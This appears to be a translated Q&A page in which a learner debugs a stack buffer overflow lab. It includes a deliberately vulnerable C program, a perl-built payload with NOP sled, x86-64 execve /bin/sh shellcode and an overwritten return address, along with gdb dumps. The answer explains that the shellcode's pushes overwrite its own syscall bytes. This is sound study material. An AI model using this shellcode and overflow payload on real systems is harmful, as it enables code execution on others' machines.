为什么NOP的数量似乎会影响shellcode是否成功执行?

问题描述 投票:2回答:1

我正在学习缓冲区溢出(仅用于教育目的),并且在使用NOP滑动技术来执行shellcode时,出现了一些问题,即为什么shellcode有时不会被执行。

我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0。,ASLR禁用)

#include <stdio.h>
#include <string.h>

void function (char *args)
{
    char   buff[64];
    printf ("%p\n", buff);
    strcpy (buff, args);
}

int main (int argc, char *argv[])
{
    function (argv[1]);
}

如下:gcc -g -o main main.c -fno-stack-protector -z execstack。然后我唤起了gdb mainb 9

run `perl -e '{ print "\x90"x15; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x8; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'`

上面的字符串由NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address组成。我根据printf线的输出选择了返回地址。 (注意:要明确说明,上面的十六进制代码在x86_x64中打开一个shell)。

从以下输出可以看出,缓冲区按预期溢出。

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x48
0x7fffffffd8c0: 0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2    0x48
0x7fffffffd8c8: 0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68
0x7fffffffd8d0: 0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1    0xeb
0x7fffffffd8d8: 0x08    0x53    0x48    0x89    0xe7    0x4d    0x31    0xd2
0x7fffffffd8e0: 0x41    0x52    0x57    0x48    0x89    0xe6    0x0f    0x05
0x7fffffffd8e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

从这里继续确实打开了shell。但是,当我使用以下作为参数时(唯一的区别是我用\x90"x15替换了\x90"x16,用\x90"x8替换了\x90"x7

run `perl -e '{ print "\x90"x16; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x7; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'` 

我明白了

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8c0: 0x48    0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2
0x7fffffffd8c8: 0x48    0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x7fffffffd8d0: 0x68    0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1
0x7fffffffd8d8: 0xeb    0x08    0x53    0x48    0x89    0xe7    0x4d    0x31
0x7fffffffd8e0: 0xd2    0x41    0x52    0x57    0x48    0x89    0xe6    0x0f
0x7fffffffd8e8: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

对我来说看起来很好(与上面相同,除了反映参数的变化),但是当我继续这一次时,我得到了

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()

并且没有打开shell。

  • 非法指令发生在第二个NOP块中。 shellclode位于NOP区块之前。返回地址似乎已被成功覆盖,为什么不执行shellcode呢?
  • 为什么第一个例子工作,但第二个例子没有,唯一的区别是在shellcode之前删除了一个NOP并在shellcode之后插入?

编辑:我添加了shellcode的反汇编:

0000000000400078 <_start>:
  400078:   48 31 c0                xor    %rax,%rax
  40007b:   b0 3b                   mov    $0x3b,%al
  40007d:   48 31 d2                xor    %rdx,%rdx
  400080:   48 bb 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rbx
  400087:   73 68 11 
  40008a:   48 c1 e3 08             shl    $0x8,%rbx
  40008e:   48 c1 eb 08             shr    $0x8,%rbx
  400092:   53                      push   %rbx
  400093:   48 89 e7                mov    %rsp,%rdi
  400096:   4d 31 d2                xor    %r10,%r10
  400099:   41 52                   push   %r10
  40009b:   57                      push   %rdi
  40009c:   48 89 e6                mov    %rsp,%rsi
  40009f:   0f 05                   syscall
linux assembly x86-64 buffer-overflow shellcode
1个回答
3
投票

Jester猜测shellcode的push操作覆盖了我的第二个例子的shell代码远端的指令是正确的:

通过设置SIGILL并重复第二个示例得到set disassemble-next-line on后检查当前指令

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea:  ff  (bad)

之前在此地址的NOP(90)已被ff覆盖。

这是怎么发生的?再次重复第二个例子,另外设置b 8。此时,缓冲区尚未溢出。

(gdb) info frame 0
[...]
Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

0x7fffffffd8f8开始的字节包含在离开function函数后将返回的地址。然后,这个0x7fffffffd8f8地址也将是堆栈将继续增长的地址(那里,将存储前8个字节)。实际上,继续使用gdb并使用si命令显示在shellcode的第一个push指令之前,堆栈指针指向0x7fffffffd900

(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da:  53      push   %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8    0xd9    0xff    0xff    0xff    0x7f    0x00    0x00 

...当执行push指令时,字节存储在地址0x7fffffffd8f8中:

(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db:  48 89 e7        mov    %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x00

继续这一点,可以看到在shellcode的最后一个push指令之后,push的内容被推送到地址0x7fffffffd8e8的堆栈上:

0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

但是,这也是存储syscall指令的最后一个字节的位置(请参阅第二个示例的问题中的x/80bx buff输出)。因此,系统调用以及shellcode无法成功执行。这在第一个例子中不会发生,因为那时推入堆栈的字节增长直到shellcode的结尾(不覆盖它的一个字节):8个NOP("\x90"x8)的8个字节+保存的基数的8个字节指针+返回地址的8个字节为3个push操作提供了足够的空间。

© www.soinside.com 2019 - 2024. All rights reserved.